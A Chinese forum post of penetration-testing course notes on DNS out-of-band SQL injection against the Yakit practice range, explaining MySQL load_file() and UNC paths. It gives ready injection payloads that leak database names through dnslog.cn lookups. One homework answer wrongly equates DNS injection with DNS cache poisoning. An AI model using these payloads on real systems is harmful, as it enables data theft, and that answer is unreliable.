发帖
 找回密码
 立即注册
搜索
0 0

分享 17-DNS referer&XFF注入

技术分享 1126 0 2025-4-13 22:33:22
yakit 靶场
源码:https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go
光速盲注(DNS注⼊)
   yakit 靶场-首页-DNSLog

必须有权限读取并且⽂件必须完全可读
    2、欲读取⽂件必须在服务器上
    3、必须指定⽂件完整的路径
    4、欲读取⽂件必须⼩于 max_allowed_packet
  show VARIABLES like ‘%max_allowed_packet%’; 查看当前允许读取⽂件的⼤⼩
  my.ini 修改 max_allowed_packet=100M 修改可读取⽂件的⼤⼩
  load_file():读取⽂件

利⽤前提条件
  1. Web服务器必须是windows操作系统,因为UNC是windows特有的,只能针对WIN操作系统
  2. mysql.ini中secure_file_priv必须为空
      小皮-设置-配置文件-mysql.ini中secure_file_priv必须为空-添加secure_file_priv=
      ?id=-1' union select 1,2,load_file('C:\\112266.txt') %23

\\ ⽹络资源路径
load_file (本地资源路径)
load_file (⽹络路径) \\192.168.x.x\www\sqli\1\xxx        \\test.com\www\xxx
select load_file(concat('//',(select database()),'.1806dl.dnslog.cn/abc'))  也叫带外查询

前置知识
    DNSlog即DNS⽇志记录的形式,适⽤于多种数据库,同时,适⽤于多种攻击
    load_file()函数可以加载本地⽂件的同时,也能对\www.xxx.com\aa这样的URL发起请求(UNC)
  读取⽂件并返回⽂件内容为字符串。
  要使⽤此函数,⽂件必须位于服务器主机上,必须指定完整路径的⽂件,⽽且必须有FILE权限。该⽂件所有字节可
  读,但⽂件内容必须⼩于max_allowed_packet(限制server接受的数据包⼤⼩函数,默认1MB)。 如果该⽂件不
  存在或⽆法读取,因为前⾯的条件之⼀不满⾜,函数返回 NULL

UNC是什么:
   1-UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
      ⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
   2-UNC 就是 '\\' 代表Microsoft Windows通⽤命名约定(UNC)**
   3-那么使⽤,通⽤命名约定(UNC)的⽂件和⽬录路径格式,都会引发DNS地址解析
   4-双斜杠表示⽹络资源路径多加两个\就是转义了反斜杠
UNC路径的格式:\server\sharename\directory\filename




payload
    注意:域名前⾯有个点 .
  第⼀条
     第⼀种写法:
       ' and if((select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))),1,0) --+
     第⼆种写法:
      ' and if((select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))),1,0) --+
   注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名

  第⼆条(第⼀条⽆法使⽤的情况下使⽤)
      第⼀种写法:
         ' and (select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))) --+
      第⼆种写法:
         ' and (select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))) --+
    注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名

  第三条-推荐使⽤(⼗六进制写法)
      如果查询内容有特殊字符,不符合域名要求,是⽆法正常构造正常的域名,所以没办法发出数据
      ⽐如:逗号,@符号等特殊符号
      使⽤hex()函数将查询内容转换为16进制编码来输出
      xxx.dns 域名
         ' and if((select load_file(concat('\\\\',(select hex(database())),'.otebm5.dnslog.cn\\abc'))),1,0) --+

yakit-渗透测试-Codec可以解码
相关注释学习地址-https://blog.csdn.net/aiwangtingyun/article/details/127204954
⽆回显型思路-统一使用带外查询





WEB渗透测试工程师系统班250303
17节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图?
2. 什么是UNC
     UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
   ⽤于在局域⽹中访问⽂件服务器或者打印机
3. dns注入的原理是什么?
     DNS 注入,也称为 DNS 欺骗或 DNS 缓存投毒,
              其原理是攻击者通过各种手段篡改 DNS 服务器的缓存记录或干扰 DNS 解析过程,使得域名被错误地解析为攻击者指定的 IP 地址,
              从而实现对用户网络访问的劫持和控制
4. 带外查询的应用场景?
     主要用于时间盲注无回显型前端界面



──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回